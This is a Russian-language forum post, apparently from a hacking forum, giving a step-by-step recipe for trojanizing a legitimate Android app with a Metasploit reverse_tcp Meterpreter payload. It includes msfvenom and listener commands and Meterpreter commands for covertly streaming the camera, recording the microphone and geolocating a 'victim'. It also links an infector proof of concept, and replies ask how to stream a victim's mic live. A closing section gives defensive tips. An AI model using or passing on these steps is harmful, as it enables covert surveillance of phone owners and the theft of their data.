• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Бэкдоры в Android-приложениях

baykal

(L2) cache
Пользователь
Регистрация
16.03.2021
Сообщения
370
Реакции
838
2fabfa2facd62202b594d.jpg

Все мы знаем классические рекомендации о безопасности на рабочем месте: установите антивирус, не переходите по подозрительным ссылкам, не заходите на сомнительные сайты. Параноики еще могут наклеить стикер на веб-камеру своего ноутбука, ведь такие вещи нельзя упускать из виду, не правда ли?

Но почему большинство людей не руководствуются этой же логикой, когда речь заходит об их смартфонах? Если хорошенько подумать, мобильный телефон - идеальная мишень для хакеров, к которой без особого труда можно получить доступ. Современные смартфоны поставляются, как правило, не с одной, а с двумя, тремя и больше камерами, микрофоном, GPS-антенной и динамиками. В них содержится огромное количество полезной информации о нас, наших друзьях и сообщениях, которые мы им посылаем. О, и конечно же, мы берем свой смартфон всегда с собой, куда бы мы ни пошли.

Другими словами, получение удаленного доступа к чужому мобильному устройству позволяет злоумышленнику делать всевозможные неприятные вещи. В этой статье я расскажу о том, как легко можно сгенерировать троян удаленного доступа для Android (или RAT, для краткости).

Вам будет полезна эта статья, если
  • вы хотите узнать, как избежать подобных атак на свои устройства;
  • вы хотите узнать все тонкости создания мобильных вредоносов.
Обратите внимание, RAT, который мы создадим в Metasploit - хорошо известен вирусным аналитикам, и детектится практически любой антивирусной программой. Наша "крыса" рудиментарна, поскольку ей не достает множества функций, которые можно найти в сэмплах из дикой природы, таких как обфускация (чтобы оставаться незамеченным), или постоянство, чтобы получить доступ к устройству, даже когда приложение закрыто. Поскольку мы просто исследуем возможности таких вредоносных программ и не собираемся атаковать реальную цель, этот метод отлично подойдет для сегодняшней статьи.

Рецепт приготовления мобильного вредоноса​

Ингредиенты​

  • Виртуальная машина Kali с последней версией Metasploit
  • Запасное Android устройство
  • [Необязательно] Копия легитимного Android-приложения (.apk)

Инструкция​

Шаг 1 – Узнайте свой IP-адрес​

Прежде, чем сгенерировать полезную нагрузку, нам нужно узнать немного информации о собственной системе. Первые сведения, которые нам понадобятся, - это IP-адрес системы. В рамках обучения будет использоваться локальный IP, но в боевых условиях злоумышленники, как правило, используют внешний IP, чтобы зараженные устройства могли подключаться к ним.

Введите команду
Код:
ip a
чтобы вывести информацию о сетевых адаптерах
image-3.png

Я буду использовать IP-адрес eth0, а точнее локальный IPv4, обведенный на скриншоте.

Шаг 2 – генерация полезной нагрузки​

Именно здесь происходит настоящая магия: мы будем генерировать пэйлоад при помощи msfvenom - одного из компонентов Metasploit.

Прежде чем начать, убедитесь в наличие:
  1. IP-адреса, полученного на предыдущем этапе
  2. Одного любого неиспользуемого порта для запуска msfvenom
  3. (Необязательно) Легитимного приложения, чтобы создать в нем бэкдор
Тут есть два варианта: либо мы создаем собственное приложение, либо скрываем пэйлоад в уже существующем. Не смотря на то, что первый вариант проще, мы пойдем дальше и используем старую версию одного известного приложения для путешествий, чтобы замаскировать вредонос.

Откройте новое окно терминала и перейдите в папку, содержащую легитимную копию приложения, в которое вы хотите завернуть бэкдор, а затем выполните следующую команду:
Код:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<your_ip_address> LPORT=<your unused port> -x <legitimate app> -k -o <output name>
При написании статьи, я использовал в качестве переменных:
  • <your_ip_address> = 192.168.43.6
  • <your unused port> = 4444
  • <legitimate app> = tripadvisor.apk
  • <output name> = ta-rat.apk
image-4.png

Шаг 3 - тестирование вредоноса​

Имея на руках пэйлоад, необходимо запустить слушатель в виртуальной машине Kali на том же порту, который был указан при его создании.
Код:
msfconsole
use multi/handler
set payload android/meterpreter/reverse_tcp
set lhost <your ip address>
set lport <your unused port>
run

image-5.png

Теперь, когда мы готовы принимать входящие соединения, все, что остается сделать, это запустить вредонос на смартфоне под управлением Android.

Я просто перенес .apk-файл во внутреннюю память устройства и запустил его. Как можно заметить по скриншотам ниже, приложение с вшитым бэкдором требует гораздо больше разрешений, чем оригинал.

image-6.png

Исходные разрешения приложения (слева) и разрешения вредоносного приложения (справа)

Устанавливаем его, запускаем и...

image-7.png

Мы в игре!

lightheartedobviousblowfish-size_restricted.gif

Шаг 4 - игра с сеансом Meterpreter​

Поздравляю! Если вы дошли до этого шага, это значит, что у вас есть рабочая сессия Meterpreter, открытая в окне терминала. Итак, давайте посмотрим, что мы можем сделать?

Активация камер

Мы можем получить информацию о том, кто является нашей жертвой, активируя либо фронтальную, либо основную камеру устройства. Для этого, находясь в Meterpeter, введите команду:
Код:
webcam_stream -i <index>
Где <index> - это индекс камеры, которую вы хотите использовать. По моему опыту, основная камера, как правило, имеет 1-й индекс, в то время как селфи - 2.

Запись микрофона

Интересно, о чем говорят в непосредственной близости от жертвы? Давайте попробуем записать:
Код:
record_mic -d <duration>
Где <duration> - это длительность аудиозаписи в секундах. Например, чтобы записать 15 секунд звука с помощью встроенного микрофона устройства, выполните:
Код:
record_mic -d 15

Геолокация

Мы также можем узнать точное местоположение жертвы, выполнив:
Код:
geolocate
Эта команда даст нам GPS-координаты устройства, которые мы можем посмотреть в Google Maps.

Воспроизведение аудиофайла

Проиграть любой аудиофайл в формате .wav, который имеется в системе, можно при помощи
Код:
play <filename>.wav
Например:
Код:
play astley.wav

Экспериментируем с другими функциональными возможностями

Конечно, это всего лишь несколько команд, которые может предложить Meterpreter. Для получения полного списка функций просто введите:
Код:
help
Или для получения дополнительной информации о какой-либо конкретной команде:
Код:
<command> -h

Предостережения​

Во время тестирования, я столкнулся с некоторыми трудностями, с которыми можете столкнуться и вы. Самая сложная часть при подготовке - найти приложение для добавления бэкдора. Используя различные методы обфускации, популярные Android-приложений не позволяют с легкостью декомпилировать и переупаковывать их, значительно затрудняя процесс вставки вредоносного кода. В своей статье я использовал старую версию хорошо известного приложения для путешествий, в которой не были реализованы защитные методы. В новых версиях эту оплошность исправили.

API разрешений постоянно развивается, чтобы предотвратить этот тип злоупотреблений со стороны вредоносов. Таким образом, заставить работать эксплойт на новейших версиях Android невозможно, поскольку они требуют явного одобрения пользователя перед предоставлением каких-либо опасных разрешений во время выполнения. Тем не менее, если вы являетесь пользователем смартфона на Android, имейте в виду, что каждый день появляются тысячи вредоносов с новым функционалом, и вы всегда должны дважды подумать, прежде чем предоставлять какому-либо приложению разрешение на смартфоне. Да, даже если на вашем устройстве установлены последние обновления безопасности. Несмотря на то, что методы, описанные в этой статье, работают только для ранних версий Android, учитывая, что эти версии составляют большую часть доли рынка, огромное количество устройств остаются уязвимыми для подобных эксплойтов и по сей день.

В интернете существуют некоторые сторонние инструменты и скрипты, которые обещают достичь более лучших результатов при создании бэкдоров даже для более поздних версий Android. Однако, по моему личному опыту, эти инструменты не всегда оправдывают ожидания. Не стоит слепо доверять ReadMe кода, который вы найдете в сети: проверьте его самостоятельно и убедитесь, что вы понимаете, что он делает, прежде чем выполнять его.

Как защитить себя​

Защита себя от подобных атак начинается с осознания того, как эти угрозы проникают в систему. Ваш смартфон принимает множество мер предосторожности против вредоносных приложений, поэтому необходимо, прежде всего, убедиться, что у вас установлены последние обновления. Кроме того, дважды подумайте: первый раз, когда вы решите установить приложение, и еще один раз, когда вы решите предоставить приложению разрешения.

Устанавливайте приложения только из официального магазина. Серьезно. Магазины приложений на Android и iOS строго контролируются и проверяются на вирусы. Разве может быть такое, чтобы вредонос обошел эти проверки? Не совсем. Если ему удастся обойти их, очень маловероятно, что он останется в магазине надолго, - рано или поздно его заметят и уберут. В iOS у вас все равно нет особого выбора: если вы еще не взломали свое устройство, вы уже ограничены единым магазином. Для Android есть отдельная надстройка, которая позволяет устанавливать приложения из ненадежных источников. Если вы просто хотите насладиться классическим опытом от пользования своим смартфоном, вам вообще не нужно будет прикасаться к ней: в магазине Google Play, скорее всего, есть все, что вы когда-либо хотели бы установить. Если вы более продвинутый пользователь, который хочет иметь возможность полностью настроить свой телефон под себе или даже получить ROOT-права, чтобы, например, воспользоваться XPOSED: будьте особенно осторожны при установке чего-либо на свой телефон, так как вы теряете большое количество средств защиты, предлагаемых вам Google Play Store. Экспериментировать со смартфоном - это прекрасно, но вы должны быть очень осведомлены о дополнительных рисках, которые вы принимаете. Они удваиваются, если вы загружаете неофициальные приложения из сторонних источников.

Не забывайте, - не все приложения нуждаются во всех разрешениях, которые они запрашивают. Фонарик не нуждается в доступе к вашему микрофону, чтобы нормально функционировать, так зачем же выдавать ему такое разрешение? Если вы устанавливаете приложение, и список разрешений кажется подозрительно длинным, или некоторые элементы определенно не нужны для его полноценной работы, возможно, лучше не давать ему доступ или вообще отказаться от установки. В лучшем случае при помощи выданных разрешений приложения вторгнутся в вашу личную жизнь для продажи таргетинговой рекламы. В худшем случае, преступник может попытаться шпионить за вами.

Последний совет, который я хотел бы дать вам, - это оставить включенными настройки безопасности на вашем устройстве. Не имеет значения, пользуетесь вы iPhone или Android-смартфоном: и в iOS , и в Android встроены отличные функции для обеспечения защиты от несанкционированного вмешательства. Вам не нужны сторонние антивирусные приложения. Они не позволят обезопасить ваш смартфон лучше, чем встроенные средства, поскольку их функционал сильно урезан по сравнению со стандартными функциями защиты.

Используемый в статье метод декодирует приложение до smail-кода, а затем выполняет его патчинг - это наиболее известный и самый распространенный способ внедрения вредоносного кода, не лишенный массы недостатков.

При его использовании происходит изменение оригинального classesN.dex, которое приводит к невозможности выполнения приложения из-за нарушения целостности DEX-файлов (в случае их проверки).

Рисерчер и сам утверждает, что способ сильно устарел, и он решил использовать его только для наглядного изображения того, как можно заполучить доступ к чужому устройству при помощи создания простейшего бэкдора в уже готовом приложении.

Thatskriptkid (OrderOfSixAngles) написал собственный инфектор, призванный решить вышеописанные проблемы. Он подразумевает выполнение вредоносного кода при старте, а также сохранение всех этапов процесса запуска оригинального приложения.

Внедрение пэйлоада происходит в стадии алгоритма cold start:Application Object creation->Application Object Constructor при первом старте программы. Преимущества данного подхода в том, что он позволяет применить необходимые модификации к APK:
1. Без дизассемблирования/сборки DEX
2.
Без декодирования/кодирования манифеста
3. Без внесения изменений в оригинальные DEX файлы

При его применении можно заражать практически любые существующие приложения, без ограничений. Описанная техника не зависит от архитектуры и версии Android, а также успешно протестирована на Android 5.0, Android 7.0, Android 9.0, Android 10.0 и эмуляторе Nox Player с версией Android 5.1.1 (API 22).

Более подробно (особенно интересно происходит правка AndroidManifest.xml).

PoC: https://github.com/thatskriptkid/apk-infector-Archinome-PoC


Источник
Переведено Moody канал @cybred
 
Ты был в спячке? =) Давно есть статьи про данный метод. Спасибо за напоминание, проверь и отпишись на 10 андроид подписав какое нибудь обновленное приложение, например ccleaner, скажешь получилось или нет =)
 
мне интересно, а как транслировать (стримить) в реальном времени микрофон? Дабы не записывать по частям? Очень интересно было бы узнать, какие варианты есть кроме установки другого софта (через модули или как их, вроде как можно)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх